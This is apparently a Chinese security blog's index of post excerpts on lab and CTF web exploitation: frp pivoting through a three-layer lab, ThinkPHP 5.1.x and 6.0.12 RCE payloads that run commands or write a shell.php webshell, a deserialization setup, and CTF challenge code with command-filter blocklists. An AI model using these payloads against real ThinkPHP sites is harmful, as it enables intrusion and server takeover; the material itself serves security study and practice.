frp--CFS三层靶场渗透
frp代理转发frp存在服务端(frps)与客户端(frpc), frps需要一直保持运行,转发方式通过客户端配置文件进行确定
一级代理配置服务端
在服务端上传frp, 并配置frps.ini
123[common]bind_addr = 0.0.0.0 #服务端监听地址 默认0.0.0.0bind_port = 7000 #服务端监听端口
启动服务端, 执行命令开启frps等待连接
1./frps -c frps.ini
配置客户端(受控的靶机, 也就是拿到shell的target1)
在客户端上传frp, 并配置frpc.ini(也就是上传frpc 和 frpc.ini)
1234567[common]server_addr = 192.168.1.129 # 指向frp服务端绑定的ip, 也就是攻击机kaliserver_port = 7000 # 指向frp服务端绑定的端口[socks5]remote_port = 1080 # 代理所使用的端口,会被转发到服务端plugin = socks5 ...
CFS三层靶机渗透--msf
环境配置12靶场下载可以看这篇文章:https://www.cnblogs.com/b1nn/p/17802909.html
1通过攻击机kali192.168.1.xx攻击target1 的192.168.76.148,target2和target3不能连接外网,只能再内网进行通信。所以得先渗透target1,然后通过他的22网卡去攻击target2,然后通过target2做跳板来攻击target3
新增三张网卡 , 导入到三张虚拟机中
target1加网卡0和1,
target2加网卡 0, 2,3 (加上网卡0是为了方便kali配置宝塔, 配置完后需要删除网卡0)
target3加网卡3
登录到target1, 查看ip, 确保Target1一个在192.168.1.0网段、另一个在192.168.22.0网段
确保Target2在192.168.1.0、192.168.22.0、192.168.33.0网段
确保Target3在192.168.33.0网段
确保kali在192.168.1.0网段
登录到target1的宝塔
1234http://192.1 ...
Thinkphp V5.1.x RCE
影响范围:
12TP 5.0.7 - 5.0.24TP 5.1.0 - 5.1.30
环境:
123thinkphp5.1.29 + phpstorm下载tpv5.1.29的源码, 然后直接composer update
payload123456789/?s=index/\think\Request/input&filter[]=system&data=whoami?s=index/\think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\request/input?data[]=-1&filter=phpinfo写马:?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3Epublic目录下生成shell.php
分析12执行调试?s=index/\think ...
ThinkPHP V6.0.12多语言漏洞
影响范围
6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8
前提条件
安装并已知pearcmd.php的文件位置。(默认位置 /usr/local/lib/php/pearcmd.php,Docker版本的镜像中pear默认安装)
需要开启php.ini中register_argc_argv选项。(docker的PHP镜像是默认开启的)
thinkphp开启多语言功能 (app/middleware.php)
安装pear:
1、下载 go-pear.phar http://pear.php.net/go-pear.phar
2、执行 php go-pear.phar 设置1-12选项路径,安装。
直接docker部署环境
1docker run --name tp6 -p 8005:80 -d vulfocus/thinkphp:6.0.12
分析从LoadLangPack这个类开始
...
ThinkPHP v5.0.24 反序列化
前提源码下载完成之后,因为并不存在反序列化入口,所以需要手动添加
在application\index\controller\Index.php中修改一下
123456public function index() { $payload = $_POST['payload']; @unserialize(base64_decode($payload)); return ""; }
知识点
在 PHP 中,file_exists 函数会在检查文件路径时将传递的参数转换为字符串。由于这个转换行为,它会触发对象的 __toString 方法。
method_exists 是 PHP 中的一个内置函数,用于检查某个类或对象是否存在某个方法
抽象类是一种特殊的类, 不能被实例化, 只能被继承, 可以包含抽象方法和非抽象方法, 子类必须实现抽象方法,不然会报错 , 使用抽象类需要实例化它的子类
分析过程从Windows.php 类的 --destruct() 开始寻找123 ...
WKCTF 2024 ---Web
qiandao简单的文件包含
1234提示说了flag在根目录下 ,直接利用php://filter 伪协议读文件?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=/flag
ez_tpThinkPHP V6.0.12LTSQVD-2022-46174开启了多语言功能, 且存在 pear 扩展 , 通过lang参数和目录穿越实现文件包含
12public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/shell.php
ez_php官方给的wpexp:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950from time import sleepi ...
交流练习——week2--web
EZser12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364<?phphighlight_file(__FILE__);class hello{ public $a; public $b; public $c; public $d; public function __construct($c,$d) { $this->c=$c; $this->d=$d; } public function __destruct() { $this->a = base64_encode(uniqid()); if ($this->b === $this->a) { echo $this->c; ...
H&NCTF-web
Please_RCE_Me123456789101112131415<?phpif($_GET['moran'] === 'flag'){ highlight_file(__FILE__); if(isset($_POST['task'])&&isset($_POST['flag'])){ $str1 = $_POST['task']; $str2 = $_POST['flag']; if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match(' ...
交流练习——week1--web
ezPhp(自己找之前做过的题目拼凑改编出的)
1234567891011121314151617181920212223 <?phphighlight_file(__FILE__);$query = $_SERVER['QUERY_STRING'];if (isset($_GET['a'])&&isset($_GET['b'])) { echo 'ok'; echo '<br>'; $a = $_GET['a']; $b = $_GET['b']; if (preg_match('/ruheraoguo/', $a . 'hello') && $a != 'ruheraoguo' && !preg_match('/[0-9]/', $b) && i ...
XYCTF--Web
有些是比赛的时候写的,有些是赛后看wp复现的
warm up1234567891011121314151617181920212223242526272829<?phpinclude 'next.php';highlight_file(__FILE__);$XYCTF = "Warm up";extract($_GET);if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) { echo "ez" . "<br>";} else { die("什么情况,这么基础的md5做不来 ...
